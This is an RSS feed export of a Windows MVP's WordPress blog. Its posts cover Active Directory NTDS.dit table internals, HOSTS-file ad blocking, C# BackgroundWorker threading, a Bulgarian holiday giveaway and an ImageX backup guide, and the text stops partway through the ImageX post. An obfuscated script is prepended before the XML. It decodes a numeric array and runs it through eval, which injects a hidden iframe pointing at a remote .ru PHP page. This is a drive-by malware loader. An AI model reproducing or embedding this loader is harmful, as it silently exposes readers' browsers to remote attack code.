<script>c=2;i=c-2;if(parseInt("0123")===83)if(window.document)try{new String("asd").prototype.q}catch(egewgsd){f=['-30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76i75i60i22i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i61i61i62i71i20i73i72i76i66i77i66i72i71i19i58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i70i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8i8i67i58i83i83i78i77i62i7i75i78i8i60i72i78i71i77i14i7i73i65i73i0i2i20i63i7i76i77i82i69i62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i-26i-30i-30i86'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fromC"+"harCode"](39+1*w[j]);}if(f)z=s;e(z);</script><?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.0.1" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Stanimir Stoyanov's Blog</title>
	<link>/blog</link>
	<description></description>
	<pubDate>Sun, 12 Feb 2012 16:21:49 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.1</generator>
	<language>en</language>
			<item>
		<title>How the Active Directory – Data Store Really Works (Inside NTDS.dit) – Part 1</title>
		<link>/blog/2012/02/11/ad-data-store-part-1/</link>
		<comments>/blog/2012/02/11/ad-data-store-part-1/#comments</comments>
		<pubDate>Sat, 11 Feb 2012 08:19:40 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Programming</category>
	<category>MVP Program</category>
	<category>Windows 7</category>
		<guid isPermaLink="false">/blog/2012/02/12/ad-data-store-part-1/</guid>
		<description><![CDATA[You might as I have asked yourself many times – What is inside NTDS.dit? (Most experienced Active Directory admins knows that NTDS.dit is the database and the physical on disk store that Active Directory uses to store information – most of you have probably got in touch with NTDS.dit during backup and restore scenarios)

Long story [...]]]></description>
			<content:encoded><![CDATA[<p>You might as I have asked yourself many times – What is inside NTDS.dit? (Most experienced Active Directory admins knows that NTDS.dit is the database and the physical on disk store that Active Directory uses to store information – most of you have probably got in touch with NTDS.dit during backup and restore scenarios)
</p>
<p>Long story in a short version – I wasn&#8217;t satisfy not knowing – neither was I after being reading the following article:<br />(That I actually think isn&#8217;t that bad – but is also probably the most detailed public available information on the subject)<br />[1] <a href="http://technet.microsoft.com/en-us/library/cc772829(WS.10).aspx">http://technet.microsoft.com/en-us/library/cc772829(WS.10).aspx</a>
	</p>
<p>So I decided with a very good friend of mine <a href="http://blogs.chrisse.se/blogs/chrisse/">Christoffer Andersson</a> (long-time Microsoft MVP in AD) to go ahead and build a tool that could read NTDS.dit and decode its internals, and then we started a journey that has given us invaluable knowledge at this part of Active Directory, this is the first article in a series of articles that will describe what&#8217;s really inside NTDS.dit and how Active Directory works on the database layer.
</p>
<p>The illustration below has been presented in various documentations since Active Directory was initially released over 10 years ago; a similar illustration is also available in (However after this research project it&#8217;s actually turning out to be inaccurate in some aspects – in the way the DRA/REPL communicates with the DBLayer)  [1]</p>
<p><a target="_blank" href="http://www.chrisse.se/cs-content/ntds1.png"><img src="http://www.chrisse.se/cs-content/ntds1.png" border=0/></a></p>
<p style="margin-left:72pt;"><span style="font-size:10pt;">Table&nbsp;1: DSA Components (Simplified for the DBLayer)<br />
</span></p>
<div>
<table style="border-collapse:collapse;">
<tr>
<td style="border-width:1.5pt 0.5pt 0.5pt 1.5pt;border-style:solid;border-color:gray;padding-right:7px;padding-left:7px;">
<p style="text-align:center;"><span style="font-family:Franklin Gothic Demi Cond;font-size:9pt;">Component</span></p>
</td>
<td style="border-width:1.5pt 1.5pt 0.5pt medium;border-style:solid solid solid none;border-color:gray gray gray currentColor;padding-right:7px;padding-left:7px;">
<p style="text-align:center;"><span style="font-family:Franklin Gothic Demi Cond;font-size:9pt;">Description</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Ntdsa.dll – Directory System Agent</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">The DSA, which runs as Ntdsa.dll on each domain controller, provides the interfaces through which directory clients and other directory servers gain access to the directory database (the DBLayer). In addition, the DSA enforces directory semantics, maintains the schema, guarantees object identity, and enforces data types on attributes.</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="color:black;font-size:9pt;">Esent.dll – Extensible Storage Engine (ESE) APIs</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">The Extensible Storage Engine (ESE) is an advanced indexed and sequential access method (ISAM) storage technology. ESE enables applications to store and retrieve data from tables using indexed or sequential cursor navigation. It supports denormalized schemas including wide tables with numerous sparse columns, multi-valued columns, and sparse and rich indexes. It enables applications to enjoy a consistent data state using transacted data update and retrieval.<br />
</span></p>
<p><span style="font-size:9pt;">ESE was formerly known as Joint Engine Technology (JET) Blue, The DBLayer uses the ESE APIs documented here: <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/gg269259(v=exchg.10).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/gg269259(v=exchg.10).aspx</a><br /></span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 1.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">NTDS.dit</span></p>
</td>
<td style="border-width:medium 1.5pt 1.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">The on physical-disk file that represent the ESE/JetBlue database that holds the information store for the given DSA/Active Directory Domain Controller.</span></p>
</td>
</tr>
</table>
</div>
<p><strong>Data Store Physical Structure / Inside NTDS.dit - Tables<br />
</strong></p>
<p>Finally we can start looking into the content/internal structure of NTDS.dit – but first let&#8217;s take a look on what has been reveled before, the illustration below is from [1] and is accurate as far as outside the white box that represent the tables within the database, the tables do exist (Except for * &#8220;sd_table&#8221; on Windows 2000 DSAs) – but there is more tables that isn&#8217;t mentioned in this example.
</p>
<p><a href="http://www.chrisse.se/cs-content/ntds2.png" target="_blank"><img src="http://www.chrisse.se/cs-content/ntds2.png" border=0/></a></p>
<p>So it&#8217;s about time to reveal the real table structure of an NTDS.dit database file – It&#8217;s time to use the tool we produced to first discover this:</p>
<p><span style="font-size:10pt;">Table&nbsp;2: NTDS.DIT - Tables<br />
</span></p>
<div>
<table style="border-collapse:collapse;">
<tr>
<td style="border-width:1.5pt 0.5pt 0.5pt 1.5pt;border-style:solid;border-color:gray;padding-right:7px;padding-left:7px;">
<p><span style="font-family:Franklin Gothic Demi Cond;font-size:9pt;">Table</span></p>
</td>
<td style="border-width:1.5pt 0.5pt 0.5pt medium;border-style:solid solid solid none;border-color:gray gray gray currentColor;padding-right:7px;padding-left:7px;">
<p style="text-align:center;"><span style="font-family:Franklin Gothic Demi Cond;font-size:9pt;">Description</span></p>
</td>
<td style="border-width:1.5pt 1.5pt 0.5pt medium;border-style:solid solid solid none;border-color:gray gray gray currentColor;padding-right:7px;padding-left:7px;">
<p style="text-align:center;"><span style="font-family:Franklin Gothic Demi Cond;font-size:9pt;">Minimum  DSA Version</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Datatable</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Contains all objects and phantoms [2.1] represented as rows (1 object/phantom = 1 row in the table) from any instanced naming context (NC) held as either writable or read-only by the Directory System Agent (DSA) hosting the database and where columns represent every [2:3] attribute present in the schema except linked attributes [2:2]</p>
<p>[2.1]: phantoms are references to object&#8217;s hosted outside the given database (NTDS.DIT) and the given Directory System Agent (DSA)</p>
<p>[2:2] Post-Windows Server 2003 the attribute &#8220;ntSecurityDescriptor&#8221; is stored in the &#8220;sd_table&#8221; rather than in the &#8220;datatable&#8221;</p>
<p>[2:3] Some columns doesn&#8217;t reflect attributes and are columns pre-defined in the NTDS.dit template database generated by Microsoft (those are needed for internal states to the DSA)</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Windows 2000 Server<br />
</span></p>
<p><span style="font-size:9pt;">Note: Windows Server 2008 R2 added a column to support the &#8220;is-Recycled&#8221; state</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Hiddentable</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Contains one row but several columns that defines the state of the database as well the [2:2] DNT (reference) of the NTDSA-Settings object that represents this DSA (used for finding config information specific to this domain controller.)</p>
<p>[2:4] The concept of DNTs (Distinguished Name Tags)</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Windows 2000 Server<br />Note: Windows Server 2003 Introduced additional state columns such as backupexpiration_col</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Link_table</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Contains link-pair references (DNT, DNT), the link base (link id &gt;&gt; 1) and possibly a binary blob (In case of DN-binary, DN-string syntax)</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Windows 2000 Server</p>
<p>Note: Windows Server 2008 R2 added a column to support deactivated links for recycle-bin</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Sd_table</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Contains single-instance-stored SDs (Security Descriptors) that pre-Windows Server 2003 was stored in the ntSecurityDescriptor attribute in the &#8220;datatable&#8221; – those are now instead referenced to the SDs in the &#8220;sd_table&#8221; that is, if more than one object has exactly the same security defined (Security Descriptor) both objects are referenced to the same row in the &#8220;sd_table&#8221;, hence the single-instance-storage and reducing the size needed to store Security Descriptors.</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Windows Server 2003.</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Sdpropcounttable</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Used by the Security Descriptor Propagation Demon (SDProp) responsible for Security Descriptor inheritance down the tree, within the local database</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">&nbsp;</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Sdproptable</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Used by the Security Descriptor Propagation Demon (SDProp) responsible for Security Descriptor inheritance down the tree, within the local database</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Windows 2000 Server</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Quota_rebuild_progress_table</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Contains temporary information during quota tracking rebuild, for the Active Directory quota feature introduced in Windows Server 2003 – this allows the demon to keep track of processed objects.</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Windows Server 2003</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Quota_table</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Contains quota tracking information, for the Active Directory quota feature introduced in Windows Server 2003, quota tracking is peer naming context (NC) and for a given security principal identified by its SID.</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">Windows Server 2003</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">MSysObjects</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">ESE Internals – out of scope for this article</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">N/A</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 0.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">MSysObjectsShadow</span></p>
</td>
<td style="border-width:medium 0.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">ESE Internals – out of scope for this article</span></p>
</td>
<td style="border-width:medium 1.5pt 0.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">N/A</span></p>
</td>
</tr>
<tr>
<td style="border-width:medium 0.5pt 1.5pt 1.5pt;border-style:none solid solid;border-color:currentColor gray gray;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">MSysUnicodeFixupVer2</span></p>
</td>
<td style="border-width:medium 0.5pt 1.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">ESE Internals – out of scope for this article</span></p>
</td>
<td style="border-width:medium 1.5pt 1.5pt medium;border-style:none solid solid none;border-color:currentColor gray gray currentColor;padding-right:7px;padding-left:7px;">
<p><span style="font-size:9pt;">N/A</span></p>
</td>
</tr>
</table>
</div>
<p>In the next article – we will take a deep-dive into the content and the structure of the &#8220;datatable&#8221; also known as the object-store.
</p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2012/02/11/ad-data-store-part-1/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Blocking unwanted advertisements and malware with a HOSTS file</title>
		<link>/blog/2011/01/18/blocking-advertisements-malware-hosts-file/</link>
		<comments>/blog/2011/01/18/blocking-advertisements-malware-hosts-file/#comments</comments>
		<pubDate>Tue, 18 Jan 2011 21:00:45 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Uncategorized</category>
	<category>MVP Program</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2011/01/18/blocking-advertisements-malware-hosts-file/</guid>
		<description><![CDATA[A fellow Microsoft MVP has assembled a large list (&#62; 6MB) of domain names/IP addresses mainly used to serve advertisements, tracking cookies, and sometimes even malware.
You can find the full instructions&#160; at http://www.mvps.org/winhelp2002/hosts.htm. I personally have been using this list for almost two years now (it is frequently updated).
Because I have IIS set-up on my [...]]]></description>
			<content:encoded><![CDATA[<p>A fellow Microsoft MVP has assembled a large list (&gt; 6MB) of domain names/IP addresses mainly used to serve advertisements, tracking cookies, and sometimes even malware.</p>
<p>You can find the full instructions&#160; at <a href="http://www.mvps.org/winhelp2002/hosts.htm">http://www.mvps.org/winhelp2002/hosts.htm</a>. I personally have been using this list for almost two years now (it is frequently updated).</p>
<p>Because I have IIS set-up on my main machine I decided to change the redirect IP address to 0.0.0.0 instead of 127.0.0.1, so that IIS is not “bothered” with the failed requests.</p>
<p>P.S. This list also blocks the YouTube commercials, which is a nice touch!</p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2011/01/18/blocking-advertisements-malware-hosts-file/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Multithreading with Windows Forms in C#</title>
		<link>/blog/2010/12/29/multithreading-with-windows-forms-in-c/</link>
		<comments>/blog/2010/12/29/multithreading-with-windows-forms-in-c/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 14:17:19 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Microsoft</category>
	<category>Programming</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/12/29/multithreading-with-windows-forms-in-c/</guid>
		<description><![CDATA[What are threads?
A thread executes code synchronously—a set of instructions processed by the CPU “first in first out”. This can include virtually any kind of code, be it updating of the GUI, processing calculations, or waiting for user input.
Windows Forms is arguably one of the most used aspects of .NET Framework. GUI programs typically rely [...]]]></description>
			<content:encoded><![CDATA[<h3>What are threads?</h3>
<p>A thread <strong>executes code</strong> synchronously—a set of instructions processed by the CPU “first in first out”. This can include virtually any kind of code, be it updating of the GUI, processing calculations, or waiting for user input.</p>
<p>Windows Forms is arguably one of the most used aspects of .NET Framework. GUI programs typically rely on two layers:</p>
<ul>
<li>Processing stack, which includes any code or task executed in the background, and </li>
<li>User interface, which is supposed to give the user a means for instructing the program to execute tasks, and receiving timely “updates” or indications of progress. </li>
</ul>
<h3>Multithreading</h3>
<p>Multithreading is a programming paradigm, which has become popular during the past decade. In a nutshell, the CPU can <a href="http://en.wikipedia.org/wiki/Thread_(computer_science)" target="_blank">switch between two or more thread contexts</a> so two tasks (e.g. calculation, and GUI update) can be executed in parallel—or asynchronously.</p>
<p>For example, a program can make full use of a multi-core processor by instructing each core to process a separate task, or a chunk of the whole task. This results in improved performance.</p>
<p>In the case with Windows Forms, a separate thread can be used to process a task while allowing the main thread (GUI) to provide timely information about the progress, or to let the user continue their work during the lengthy task.</p>
<p><a id="more-101"></a></p>
<h3>“BackgroundWorker”</h3>
<p>In the example below, we are going to use the <a href="http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.dowork.aspx" target="_blank"><strong>BackgroundWorker</strong></a> component. Common uses for it include any possibly lengthy operations such as:</p>
<ul>
<li>downloading images or information from the Internet </li>
<li>assembling a list of files from various directories </li>
<li>computing CPU-heavy results </li>
</ul>
<p>A good practice with GUI programs is to keep the user informed of the process and results of such tasks, or to let them continue using the program while the task is executed.</p>
<p>Assume we have a ProgressBar control to show the task’s progress, and a ListView in details mode to show the results.</p>
<p>Start by adding a handler to the <strong>DoWork</strong> event of the worker. This handler will contain any code executed in the separate thread—it will calculate the first 90 <a href="http://en.wikipedia.org/wiki/Fibonacci_number" target="_blank">Fibonacci numbers</a>, with a delay between every iteration to slow down the operation. This delay will be natural in other cases, such as waiting for information to be fetched, or for a more serious calculation to be processed.</p>
<p><a href="/code/worker.htm" target="_blank"><img src="/code/worker.png" /></a></p>
<p><a href="/code/Fib.png" rel="lightbox"><img style="background-image: none; border-right-width: 0px; margin: 5px 0px 5px 8px; padding-left: 0px; padding-right:8px; display: inline; float: right; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Fib" border="0" alt="Fib" align="right" src="/code/Fib.png" width="240" height="219" /></a>When the <strong>RunWorkerAsync</strong> method is called, the worker creates a separate thread, in which all of its code is executed. Despite the valid calls, a quick test reveals that updating the progress bar or list view from this thread results in an exception—most cross-thread operations with Windows Forms controls are invalid.</p>
<p>A solution is to move the UI update code to a separate “proxy” subroutine: the <a href="http://msdn.microsoft.com/en-us/library/zyzhdc6b.aspx" target="_blank">InvokeRequired property</a> and <a href="http://msdn.microsoft.com/en-us/library/zyzhdc6b.aspx" target="_blank">Invoke method</a> are used in combination to enter the necessary context. A <a href="http://en.wikipedia.org/wiki/Delegate_(.NET)" target="_blank">delegate</a> declaration with an identical method signature has to be written so that the Common Language Runtine can execute the code in the UI context.</p>
<p><a href="/code/worker2.htm" target="_blank"><img src="/code/worker2.png" /></a></p>
<p><strong>Tip:</strong> The <strong>worker.IsBusy</strong> property can be used to prevent multiple operations from being started. Also, the <strong>RunWorkerCompleted</strong> event handler is useful for showing. A similar “proxy” method should be used when updating the UI in this case, too.</p>
<p align="center"><strong><a href="/code/multithreading-wf.zip" target="_blank">Download the source code here.</a></strong></p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/12/29/multithreading-with-windows-forms-in-c/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Честита Коледа (и поздравления на спечелилите)!</title>
		<link>/blog/2010/12/26/merry-xmas-congrats-msdn/</link>
		<comments>/blog/2010/12/26/merry-xmas-congrats-msdn/#comments</comments>
		<pubDate>Sun, 26 Dec 2010 14:56:36 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>MVP Program</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/12/26/%d1%87%d0%b5%d1%81%d1%82%d0%b8%d1%82%d0%b0-%d0%ba%d0%be%d0%bb%d0%b5%d0%b4%d0%b0-%d0%b8-%d0%bf%d0%be%d0%b7%d0%b4%d1%80%d0%b0%d0%b2%d0%bb%d0%b5%d0%bd%d0%b8%d1%8f-%d0%bd%d0%b0-%d1%81%d0%bf%d0%b5%d1%87%d0/</guid>
		<description><![CDATA[Честита Коледа, и приятно посрещане на Новата година на всички читатели на блога!
Също така поздравления на Miguel Hernandez (@migue333) и Kim Nilsson (@no_substitute), които бяха избрани посредством случаен жребий от Bryant Zadegan и мен, за да получат по един подарък-карта за абонамент MSDN Ultimate.
Честито!Благодарности на Microsoft за подкрепата.
]]></description>
			<content:encoded><![CDATA[<p><strong>Честита Коледа, и приятно посрещане на Новата година </strong>на всички читатели на блога!</p>
<p>Също така поздравления на <strong>Miguel Hernandez</strong> (<a href="http://twitter.com/migue333" target="_blank">@migue333</a>) и <strong>Kim Nilsson </strong>(<a href="http://twitter.com/no_substitute" target="_blank">@no_substitute</a>), които бяха избрани посредством <a href="http://www.random.org/integers/" target="_blank">случаен жребий</a> от Bryant Zadegan и мен, за да получат по един подарък-карта за <strong>абонамент </strong><a href="http://www.microsoft.com/visualstudio/en-us/products/2010-editions/ultimate" target="_blank"><strong>MSDN Ultimate</strong></a>.</p>
<p><span style="float: left">Честито!</span><span style="float: right">Благодарности на <a href="http://www.microsoft.com" target="_blank">Microsoft</a> за подкрепата.</span></p>
]]></content:encoded>
			<wfw:commentRSS>/blog/2010/12/26/merry-xmas-congrats-msdn/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>A simple backup solution using ImageX, a Windows Imaging tool</title>
		<link>/blog/2010/09/18/a-simple-backup-solution-using-imagex-a-windows-imaging-tool/</link>
		<comments>/blog/2010/09/18/a-simple-backup-solution-using-imagex-a-windows-imaging-tool/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 17:26:30 +0000</pubDate>
		<dc:creator>Stanimir Stoyanov</dc:creator>
		
	<category>Microsoft</category>
	<category>Programming</category>
		<guid isPermaLink="false">http://stoyanoff.info/blog/2010/09/18/a-simple-backup-solution-using-imagex-a-windows-imaging-tool/</guid>
		<description><![CDATA[Previous readers of my blog might already know that I am a big fan of ImageX, a tool that has been supplied by Microsoft in the Windows Automated Installation Kit since the release of Windows Vista.
A quick introduction
ImageX is a command-line tool that enables original equipment manufacturers (OEMs) and corporations to capture, to modify, and [...]]]></description>
			<content:encoded><![CDATA[<p>Previous readers of my blog might already know that <a href="/blog/2005/05/11/windows-image-format-documentation-update/" target="_blank">I am a big fan of ImageX</a>, a tool that has been <a href="http://technet.microsoft.com/en-us/library/cc722145(WS.10).aspx" target="_blank">supplied by Microsoft</a> in the <a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=696dd665-9f76-4177-a811-39c26d3b3b34&amp;displaylang=en" target="_blank">Windows Automated Installation Kit</a> since the release of Windows Vista.</p>
<h4>A quick introduction</h4>
<blockquote><p>ImageX is a command-line tool that enables original equipment manufacturers (OEMs) and corporations to capture, to modify, and to apply file-based disk images (.wim files) for rapid deployment.</p>
</blockquote>
<p>WIM files can capture disk or directory snapshots in such a that identical files are only stored once in the internal structure of the image. In addition to this, compression can be used to minimize the size of the final data.</p>
<p>These are some of the reasons I have been using ImageX to take full “snapshots” of all of my code, private files, etc. from time to time, for backup&#160; and archiving purposes. When needed, I can extract different revisions of the same file, or restore a whole image/snapshot in case of disk damage or data loss.</p>
<p><a href="/blog/wp-content/uploads/wim_graph.png" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: 5px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="wim_graph" border="0" alt="wim_graph" align="left" src="/blog/wp-content/uploads/wim_graph_thumb.png" width="240" height="153" /></a>The graph on the left visualizes the changes to my projects backup file spread across 16 months. The last image’s actual data weighs at 64GB, while the <em>whole</em> WIM is 59GB—and it contains all file changes, directory structures, even information that has long been deleted from my working copy.</p>
<h4>Requirements</h4>
<ul>
<li><strong>The scripts package</strong>. <a href="/code/backup-imagex.zip" target="_blank">Download</a> and extract to a folder of your choice.</li>
<li><strong>ImageX</strong>.</li>
<ol>
<li><a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=696dd665-9f76-4177-a811-39c26d3b3b34&amp;displaylang=en" target="_blank">Download</a> and install the Windows Automated Installation Kit (WAIK).</li>
<li>Copy the ImageX binaries (both <strong>amd64 </strong>and <strong>x86 </strong>folders), located in \<em>Program files</em>\<em>Windows AIK</em>\<em>Tools</em>\ to the <strong>backup\app\imagex </strong>folder.</li>
